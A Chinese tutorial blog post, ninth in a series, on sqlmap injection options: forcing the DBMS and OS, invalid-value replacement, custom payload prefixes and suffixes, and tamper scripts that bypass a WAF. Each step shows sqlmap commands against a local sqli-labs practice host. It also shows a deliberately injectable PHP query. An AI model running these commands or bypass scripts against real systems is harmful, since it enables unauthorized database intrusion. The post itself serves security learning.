首页 > 技术文章 > sqlmap学习(九)注入参数

rane-blog 2020-03-27 19:00 原文

1、sqlmap强制设置DBMS

默认情况下sqlmap会自动探测目标web应用程序后台数据库管理系统
--dbms 数据库管理系统名称 [版本号]

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --dbms mysql

2、sqlmap强制设置OS

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --os linux

3、sqlmap强制设置无效值替换

--invalid-bignum / --invalid-logical / --invalid-string
通常sqlmap使用负值使参数失效
--invalid-bignum使用大数使参数取值失效
--invalid-logical使用布尔判断使参数值失效
--invalid-string使用随机字符串使参数值失效

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-bignum

在这里插入图片描述

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-logical

在这里插入图片描述

python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-string

在这里插入图片描述

4、sqlmap自定义注入负载位置

在有些环境中,只有当用户提供要附加到注入负载的特定后缀时,易受攻击的参数才被利用。
--prefix 设置SQL注入Payload前缀
--suffix 设置SQL注入payload后缀
例如查看Less-3的查询语句为

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";                                                                                                                                                                                     

自己构造payload

python sqlmap.py -u "http://172.17.0.1/Less-3/?id=1" --prefix="')" --suffix=" AND ('AXSq'='AXSq"
$sql="SELECT * FROM users WHERE id=('1') AND ('AXSq'='AXSq') LIMIT 0,1";

5、sqlmap设置tamper脚本

sqlmap通过tamper脚本来绕过WAF等防御措施,可以在tamper文件夹下找到所有sqlmap自带的tamper脚本

root@rane:/usr/share/sqlmap# ls
COMMITMENT  data  doc  extra  http.txt  lib  LICENSE  plugins  README.md  sqlmapapi.py  sqlmap.conf  sqlmap.py  tamper  test  thirdparty  url.txt  wget-log
root@rane:/usr/share/sqlmap# cd tamper

例如Less-32关使用宽字节注入脚本

python sqlmap.py -u "http://172.17.0.1/Less-32/?id=1" --tamper "unmagicquotes.py"

推荐阅读